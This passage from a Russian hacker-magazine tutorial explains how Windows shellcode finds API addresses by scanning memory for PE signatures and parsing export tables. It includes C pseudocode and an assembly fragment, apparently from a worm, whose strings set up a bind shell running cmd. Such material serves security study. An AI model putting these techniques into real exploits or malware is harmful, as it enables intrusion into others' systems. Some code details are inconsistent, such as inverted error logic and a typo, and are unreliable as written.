Живучий код Крис Касперски aka мыщъх Спецвыпуск Xakep, номер #045, стр. 045-064-3 Демонстрирующий вызов произвольных функций h = LoadLibraryA("ws2_32.DLL"); if (h != 0) __error__; zzz = GetProcAddress(h, "connect"); Таким образом, задача вызова произвольной функции сводится к поиску адресов функций LoadLibraryA и GetProcAddress. Артобстрел прямого поиска в памяти Наиболее универсальный, переносимый и надежный способ определения адресов API-функций сводится к поиску в адресном пространстве процесса PE-сигнатуры нужного модуля с последующим разбором его таблицы экспорта. Устанавливаем указатель на C0000000h (верхняя граница пользовательского пространства для Windows 2000 Advanced Server и Datacenter Server, запущенных с загрузочным параметром /3GB) или на 80000000h (верхняя граница пользовательского пространства всех остальных систем). Проверяем доступность указателя вызовом функции IsBadReadPrt, экспортируемой KERNEL32.DLL, или устанавливаем свой обработчик структурных исключений для предотвращения краха системы. Если здесь лежит "MZ", увеличиваем указатель на 3Ch байта, извлекая двойное слово e_lfanew, содержащее смещение PE-сигнатуры. Если эта сигнатура действительно обнаруживается, базовый адрес загрузки динамического модуля найден и можно приступать к разбору таблицы экспорта, из которого требуется вытащить адреса функций LoadLibraryA и GetProcAddress (зная их, мы узнаем и все остальное). Если хотя бы одно из этих условий не выполняется, уменьшаем указатель на 10000h и все повторяем сначала (базовые адреса загрузки всегда кратны 10000h, поэтому этот прием вполне законен). Псевдокод, осуществляющий поиск базовых адресов всех загруженных модулей по PE-сигнатуре BYTE* pBaseAddress = (BYTE*) 0xС0000000; // верхняя граница для всех систем while(pBaseAddress) // мотаем цикл от бобра до обеда { // проверка доступности адреса на чтение if (!IsBadReadPtr(pBaseAddress, 2)) // это "MZ"? if (*(WORD*)pBaseAddress == 0x5A4D) // указатель на "PE" валиден? if (!IsBadReadPtr(pBaseAddress + (*(DWORD*)(pBaseAddress+0x3C)), 4)) // а это "PE"? if (*(DWORD*)(pBaseAddress + (*(DWORD*)(pBaseAddress+0x3C))) == 0x4550) // приступаем к разбору таблицы импорта if (n2k_simple_export_walker(pBaseAddress)) break; // тестируем следующий 64 Кб блок памяти pBaseAddress -= 0x10000; } Разбор таблицы экспорта осуществляется приблизительно так (пример выдран из червя BlackHat, полный исходный текст можно найти на сайте www.blackhat.com): Ручной разбор таблицы экспорта call here db "GetProcAddress",0,"LoadLibraryA",0 db "CreateProcessA",0,"ExitProcess",0 db "ws2_32",0,"WSASocketA",0 db "bind",0,"listen",0,"accept",0 db "cmd",0 here: pop edx push edx mov ebx,77F00000h l1: cmp dword ptr [ebx],905A4Dh ;/x90ZM je l2 ;db 74h,03h dec ebx jmp l1 l2: mov esi,dword ptr [ebx+3Ch] add esi,ebx mov esi,dword ptr [esi+78h] add esi,ebx mov edi,dword ptr [esi+20h] add edi,ebx mov ecx,dword ptr [esi+14h] push esi xor eax,eax l4: push edi push ecx mov edi,dword ptr [edi] add edi,ebx mov esi,edx xor ecx,ecx ;GetProcAddress mov cl,0Eh repe cmps pop ecx pop edi |